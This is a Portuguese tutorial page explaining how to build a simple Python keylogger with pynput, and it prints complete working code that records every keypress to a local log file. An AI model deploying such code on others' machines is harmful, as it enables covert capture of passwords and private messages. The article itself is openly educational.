Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 48.382 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
keydata = keydata.replace("'", "")
translate_keys = { "Key.space": " ", "Key.shift_r": "", "Key.shift_l": "", "Key.enter": "\n", "Key.alt": "", "Key.esc": "", "Key.cmd": "", "Key.caps_lock": "", }
for key in translate_keys: #key recebe a chave do dicionário translate_keys #substituir a chave (key) pelo seu valor (translate_keys[key]) keydata = keydata.replace(key, translate_keys[key])
#em pynput, importar o método Listener do teclado from pynput.keyboard import Listener #definir a localização do arquivo de log logFile = "/home/fabio/python/keylogger/log.txt" def writeLog(key): ''' Esta função será responsável por receber a tecla pressionada via Listener e escrever no arquivo de log ''' #dicionário com as teclas a serem traduzidas translate_keys = { "Key.space": " ", "Key.shift_r": "", "Key.shift_l": "", "Key.enter": "\n", "Key.alt": "", "Key.esc": "", "Key.cmd": "", "Key.caps_lock": "", } #converter a tecla pressionada para string keydata = str(key) #remover as asplas simples que delimitam os caracteres keydata = keydata.replace("'", "") for key in translate_keys: #key recebe a chave do dicionário translate_keys #substituir a chave (key) pelo seu valor (translate_keys[key]) keydata = keydata.replace(key, translate_keys[key]) #abrir o arquivo de log no modo append with open(logFile, "a") as f: f.write(keydata) #abrir o Listener do teclado e escutar o evento on_press #quando o evento on_press ocorrer, chamar a função writeLog with Listener(on_press=writeLog) as l: l.join()
Como aprovar Pull Requests em seu repositório Github via linha de comando
IA local no bolso, novo visual no Raspberry Pi OS e mais destaques do software livre
tzwatch - Navegando pelo horário mundial no Debian
Como ter o chatGPT no terminal Linux
Tasker - Como fazer um ANDROID falante
Monitorando produtos no ML com Python 3 via BeautifulSoup
Gerar senhas seguras com Python
Scikit Learn: Projetando o futuro de suas APIs e aplicativos usando machine learning
Esteganografia e Esteganálise: transmissão e detecção de informações ocultas em imagens digitais
Atualizações de Apps, Desktop e Kernel agitam o ecossistema Linux nesta terça-feira
Miyoo Mini Plus + Onion OS (Linux)
IA local no bolso, novo visual no Raspberry Pi OS e mais destaques do software livre
Kernel turbinado, compatibilidade em alta e debate sobre sustentabilidade: o dia no mundo Linux
Kernel turbinado e GNOME 49 dominam o giro do dia no mundo Linux
Adicionando o repositório backports no Debian 13 Trixie
Como definir um IP estático no Linux Debian
Como colocar atalho para uma pasta na área de trabalho do Ubuntu 24.04... (2)
O que você está ouvindo agora? [2] (225)
Como vencer a procrastinação? (9)